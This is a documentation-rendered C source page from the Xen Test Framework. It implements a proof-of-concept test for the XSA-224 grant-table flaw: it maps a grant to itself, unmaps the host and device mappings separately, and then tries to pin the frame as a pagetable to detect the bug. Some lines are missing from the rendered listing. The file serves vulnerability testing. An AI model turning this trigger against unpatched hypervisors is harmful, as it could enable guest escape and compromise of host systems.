Xen Test Framework
main.c
Go to the documentation of this file.
1 
19 #include <xtf.h>
20 
21 const char test_title[] = "XSA-224 PoC";
22 
24 
25 void test_main(void)
26 {
27  int rc = xtf_init_grant_table(1);
28 
29  if ( rc )
30  return xtf_error("Error initialising grant table: %d\n", rc);
31 
32  int domid = xtf_get_domid();
33 
34  if ( domid < 0 )
35  return xtf_error("Error getting domid\n");
36 
37  /*
38  * Construct gref 8 to allow frame[] to be mapped by outselves.
39  */
40  gnttab_v1[8].domid = domid;
42  smp_wmb();
44 
45  struct gnttab_map_grant_ref map = {
46  .host_addr = KB(4),
48  .ref = 8,
49  .dom = domid,
50  .dev_bus_addr = KB(4),
51  };
52 
53  /*
54  * Map frame[] to ourselves with both host and device mappings.
55  */
57  if ( rc || map.status )
58  return xtf_error("Error: Unable to map grant[8]: %d/%d\n",
59  rc, map.status);
60 
61  struct gnttab_unmap_grant_ref unmap = {
62  .host_addr = KB(4),
63  .handle = map.handle,
64  };
65 
66  /*
67  * Unmap the host mapping of frame[] in isolation.
68  */
70  if ( rc || unmap.status )
71  return xtf_error("Error: Unable to host unmap grant[8]: %d/%d\n",
72  rc, unmap.status);
73 
74  /*
75  * Unmap the device mapping of frame[] in isolation.
76  */
77  unmap.host_addr = 0;
79 
81  if ( rc || unmap.status )
82  return xtf_error("Error: Unable to bus unmap grant[8]: %d/%d\n",
83  rc, unmap.status);
84 
85  /*
86  * At this point, if Xen is vulnerable to XSA-224, it will have dropped
87  * one too many writeable refs from frame[]. Check, by trying to pin it
88  * as a pagetable.
89  */
90  mmuext_op_t op =
91  {
93  .arg1.mfn = virt_to_mfn(frame),
94  };
95 
96  rc = hypercall_mmuext_op(&op, 1, NULL, DOMID_SELF);
97 
98  switch ( rc )
99  {
100  case 0:
101  return xtf_failure("Fail: Vulnerable to XSA-224\n");
102 
103  case -EINVAL:
104  return xtf_success("Success: Not vulnerable to XSA-224\n");
105 
106  default:
107  return xtf_error("Unexpected MMUEXT_PIN_L1_TABLE rc %d\n", rc);
108  }
109 }
110 
111 /*
112  * Local variables:
113  * mode: C
114  * c-file-style: "BSD"
115  * c-basic-offset: 4
116  * tab-width: 4
117  * indent-tabs-mode: nil
118  * End:
119  */
#define EINVAL
Definition: errno.h:33
#define __page_aligned_bss
Definition: compiler.h:37
#define GNTMAP_host_map
Definition: grant_table.h:179
#define smp_wmb()
Definition: barrier.h:36
int xtf_get_domid(void)
Obtain the current domid.
Definition: lib.c:47
uint64_t virt_to_maddr(const void *va)
uint32_t frame
Definition: grant_table.h:117
unsigned long virt_to_mfn(const void *va)
#define NULL
Definition: stddef.h:12
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
#define KB(num)
Express num in Kilobytes.
Definition: numbers.h:23
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition: report.c:94
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:137
Definition: xen.h:355
static unsigned long virt_to_gfn(const void *va)
Definition: mm.h:100
static uint8_t frame[PAGE_SIZE]
Definition: main.c:23
int xtf_init_grant_table(unsigned int version)
Initialise XTF&#39;s grant infrastructure.
Definition: grant_table.c:21
const char test_title[]
The title of the test.
Definition: main.c:14
domid_t domid
Definition: grant_table.h:110
#define GNTMAP_device_map
Definition: grant_table.h:176
#define PAGE_SIZE
Definition: page.h:11
grant_entry_v1_t gnttab_v1[]
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
#define GNTTABOP_unmap_grant_ref
Definition: grant_table.h:247
static long hypercall_grant_table_op(unsigned int cmd, void *args, unsigned int count)
Definition: hypercall.h:131
static long hypercall_mmuext_op(const mmuext_op_t ops[], unsigned int count, unsigned int *done, unsigned int foreigndom)
Definition: hypercall.h:148
grant_handle_t handle
Definition: grant_table.h:232
#define MMUEXT_PIN_L1_TABLE
Definition: xen.h:333
unsigned int cmd
Definition: xen.h:356
uint16_t flags
Definition: grant_table.h:108
#define DOMID_SELF
Definition: xen.h:70
#define GTF_permit_access
Definition: grant_table.h:50
__UINT8_TYPE__ uint8_t
Definition: stdint.h:14
#define GNTTABOP_map_grant_ref
Definition: grant_table.h:223